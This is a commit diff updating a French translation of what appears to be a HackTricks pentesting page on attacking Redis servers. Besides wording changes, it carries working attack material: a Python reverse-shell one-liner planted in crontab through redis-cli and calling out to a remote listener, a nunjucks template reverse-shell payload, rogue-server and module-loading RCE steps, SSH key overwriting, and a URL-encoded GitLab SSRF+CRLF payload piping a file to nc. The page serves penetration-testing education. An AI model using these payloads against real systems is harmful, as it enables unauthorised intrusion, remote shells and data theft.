Translated ['src/network-services-pentesting/6379-pentesting-redis.md']

This commit is contained in:
Translator 2025-01-03 23:35:31 +00:00
parent 61fec80d29
commit da905c290d

View File

@ -24,7 +24,7 @@ msf> use auxiliary/scanner/redis/redis_server
### Bannière
Redis est un **protocole basé sur du texte**, vous pouvez simplement **envoyer la commande dans un socket** et les valeurs retournées seront lisibles. N'oubliez pas que Redis peut fonctionner en utilisant **ssl/tls** (mais c'est très étrange).
Redis est un **protocole basé sur du texte**, vous pouvez simplement **envoyer la commande dans un socket** et les valeurs retournées seront lisibles. N'oubliez pas que Redis peut fonctionner avec **ssl/tls** (mais c'est très étrange).
Dans une instance Redis régulière, vous pouvez simplement vous connecter en utilisant `nc` ou vous pouvez également utiliser `redis-cli`:
```bash
@ -39,13 +39,13 @@ Dans ce dernier cas, cela signifie que **vous avez besoin de credentials valides
### Authentification Redis
**Par défaut**, Redis peut être accessible **sans credentials**. Cependant, il peut être **configuré** pour ne prendre en charge **que le mot de passe, ou le nom d'utilisateur + mot de passe**.\
**Par défaut**, Redis peut être accessible **sans credentials**. Cependant, il peut être **configuré** pour ne supporter **que le mot de passe, ou le nom d'utilisateur + mot de passe**.\
Il est possible de **définir un mot de passe** dans le fichier _**redis.conf**_ avec le paramètre `requirepass` **ou temporairement** jusqu'à ce que le service redémarre en se connectant et en exécutant : `config set requirepass p@ss$12E45`.\
De plus, un **nom d'utilisateur** peut être configuré dans le paramètre `masteruser` à l'intérieur du fichier _**redis.conf**_.
> [!NOTE]
> Si seul le mot de passe est configuré, le nom d'utilisateur utilisé est "**default**".\
> De plus, notez qu'il n'y a **aucun moyen de trouver de manière externe** si Redis a été configuré avec seulement un mot de passe ou un nom d'utilisateur + mot de passe.
> De plus, notez qu'il n'y a **aucun moyen de trouver extérieurement** si Redis a été configuré avec seulement un mot de passe ou un nom d'utilisateur + mot de passe.
Dans des cas comme celui-ci, vous devrez **trouver des credentials valides** pour interagir avec Redis, donc vous pourriez essayer de [**brute-force**](../generic-hacking/brute-force.md#redis) cela.\
**Dans le cas où vous avez trouvé des credentials valides, vous devez authentifier la session** après avoir établi la connexion avec la commande :
@ -79,7 +79,7 @@ Trouvez plus d'informations intéressantes sur d'autres commandes Redis ici : [h
### **Dumping Database**
À l'intérieur de Redis, les **bases de données sont des numéros commençant à 0**. Vous pouvez vérifier si l'une d'elles est utilisée dans la sortie de la commande `info` dans le bloc "Keyspace" :
Dans Redis, les **bases de données sont des numéros commençant à 0**. Vous pouvez vérifier si l'une d'elles est utilisée dans la sortie de la commande `info` dans le bloc "Keyspace" :
![](<../images/image (766).png>)
@ -87,7 +87,7 @@ Ou vous pouvez simplement obtenir tous les **keyspaces** (bases de données) ave
```
INFO keyspace
```
Dans cet exemple, les **bases de données 0 et 1** sont utilisées. **La base de données 0 contient 4 clés et la base de données 1 en contient 1**. Par défaut, Redis utilisera la base de données 0. Pour dumper par exemple la base de données 1, vous devez faire :
Dans cet exemple, les **bases de données 0 et 1** sont utilisées. **La base de données 0 contient 4 clés et la base de données 1 en contient 1**. Par défaut, Redis utilisera la base de données 0. Pour effectuer un dump de la base de données 1, vous devez faire :
```bash
SELECT 1
[ ... Indicate the database ... ]
@ -110,13 +110,13 @@ HGET <KEY> <FIELD>
# If the type used is weird you can always do:
DUMP <key>
```
**Dump le base de données avec npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **ou python** [**redis-utils**](https://pypi.org/project/redis-utils/)
**Dump le base de données avec npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **ou python** [**redis-utils**](https://pypi.org/project/redis-utils/)
## Redis RCE
### Shell interactive
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) peut automatiquement obtenir une shell interactive ou une shell inversée dans Redis(<=5.0.5).
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) peut automatiquement obtenir un shell interactif ou un shell inversé dans Redis(<=5.0.5).
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
@ -138,7 +138,7 @@ Si l'exception d'accès au webshell se produit, vous pouvez vider la base de don
### Template Webshell
Comme dans la section précédente, vous pourriez également écraser un fichier de template html qui va être interprété par un moteur de template et obtenir un shell.
Comme dans la section précédente, vous pourriez également écraser un fichier de modèle html qui va être interprété par un moteur de template et obtenir un shell.
Par exemple, en suivant [**ce rapport**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), vous pouvez voir que l'attaquant a injecté un **rev shell dans un html** interprété par le **moteur de template nunjucks :**
```javascript
@ -155,7 +155,7 @@ sh.stderr.pipe(client);
)()}}
```
> [!WARNING]
> Notez que **plusieurs moteurs de template mettent en cache** les templates en **mémoire**, donc même si vous les écrasez, le nouveau **ne sera pas exécuté**. Dans ces cas, soit le développeur a laissé le rechargement automatique actif, soit vous devez faire un DoS sur le service (et vous attendre à ce qu'il soit relancé automatiquement).
> Notez que **plusieurs moteurs de template mettent en cache** les templates en **mémoire**, donc même si vous les écrasez, le nouveau **ne sera pas exécuté**. Dans ces cas, soit le développeur a laissé le rechargement automatique actif, soit vous devez effectuer un DoS sur le service (et vous attendre à ce qu'il soit relancé automatiquement).
### SSH
@ -182,6 +182,8 @@ OK
**Cette technique est automatisée ici :** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
De plus, les utilisateurs système peuvent également être découverts en vérifiant avec `config set dir /home/USER`, et après confirmation, un nouveau `authorized_keys` peut être écrit dans `/home/USER/.ssh/authorized_keys`. Utilisez [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) pour bruteforcer cela avec une liste de mots d'utilisateurs et écraser `authorized_keys`.
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
@ -200,7 +202,7 @@ Cette méthode peut également être utilisée pour gagner des bitcoins [yam]
### Charger le module Redis
1. En suivant les instructions de [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand), vous pouvez **compiler un module redis pour exécuter des commandes arbitraires**.
2. Ensuite, vous avez besoin d'un moyen de **télécharger le module compilé**.
2. Ensuite, vous avez besoin d'un moyen pour **télécharger le module compilé**.
3. **Chargez le module téléchargé** à l'exécution avec `MODULE LOAD /path/to/mymodule.so`.
4. **Listez les modules chargés** pour vérifier qu'il a été correctement chargé : `MODULE LIST`.
5. **Exécutez** **des commandes** :
@ -219,7 +221,7 @@ Cette méthode peut également être utilisée pour gagner des bitcoins [yam]
[**Ici**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html), vous pouvez voir que Redis utilise la commande **EVAL** pour exécuter **du code Lua en bac à sable**. Dans le post lié, vous pouvez voir **comment en abuser** en utilisant la fonction **dofile**, mais [apparemment](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval), cela n'est plus possible. Quoi qu'il en soit, si vous pouvez **contourner le bac à sable Lua**, vous pourriez **exécuter des commandes arbitraires** sur le système. De plus, dans le même post, vous pouvez voir quelques **options pour provoquer un DoS**.
Quelques **CVEs pour échapper à LUA** :
Quelques **CVE pour échapper à LUA** :
- [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
@ -253,7 +255,7 @@ Par conséquent, si vous trouvez une **vulnérabilité SSRF** sur un site web et
### Exemple : Gitlab SSRF + CRLF vers Shell
Dans **Gitlab11.4.7**, une vulnérabilité **SSRF** et une vulnérabilité **CRLF** ont été découvertes. La vulnérabilité **SSRF** se trouvait dans la **fonctionnalité d'importation de projet depuis une URL** lors de la création d'un nouveau projet et permettait d'accéder à des IPs arbitraires sous la forme \[0:0:0:0:0:ffff:127.0.0.1] (cela accédera à 127.0.0.1), et la vulnérabilité **CRLF** a été exploitée en **ajoutant des caractères %0D%0A** à l'**URL**.
Dans **Gitlab11.4.7**, une vulnérabilité **SSRF** et une vulnérabilité **CRLF** ont été découvertes. La vulnérabilité **SSRF** se trouvait dans la **fonctionnalité d'importation de projet depuis une URL** lors de la création d'un nouveau projet et permettait d'accéder à des IPs arbitraires sous la forme \[0:0:0:0:0:ffff:127.0.0.1] (cela accédera à 127.0.0.1), et la vulnérabilité **CRLF** a été exploitée simplement en **ajoutant des caractères %0D%0A** à l'**URL**.
Par conséquent, il était possible de **profiter de ces vulnérabilités pour communiquer avec l'instance Redis** qui **gère les files d'attente** de **gitlab** et d'abuser de ces files d'attente pour **obtenir une exécution de code**. Le payload d'abus de la file d'attente Redis est :
```
@ -266,6 +268,6 @@ Et la requête **URL encode** **abusant de SSRF** et **CRLF** pour exécuter un
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_Pour une raison quelconque (comme pour l'auteur de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _d'où provient cette information) l'exploitation a fonctionné avec le schéma `git` et non avec le schéma `http`._
_Pour une raison quelconque (comme pour l'auteur de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _d'où provient cette information), l'exploitation a fonctionné avec le schéma `git` et non avec le schéma `http`._
{{#include ../banners/hacktricks-training.md}}